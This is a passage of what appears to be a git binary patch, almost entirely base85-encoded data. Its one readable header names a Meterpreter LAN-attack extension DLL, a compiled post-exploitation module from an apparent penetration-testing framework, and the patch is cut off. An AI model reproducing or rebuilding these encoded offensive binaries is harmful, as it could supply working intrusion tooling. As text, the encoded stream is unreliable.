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 delta 34 ncmZqJz}c{YbHW3b*NbBU8=tg3VchzJDL@p=-EJYqbixq;8&MBH diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index 518bf00d4faba21adb289cbc5e33ea714a75b6f8..c9d3ab46d6f396980f3c18be6d0992aff5210f9b 100755 GIT binary patch literal 196096 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 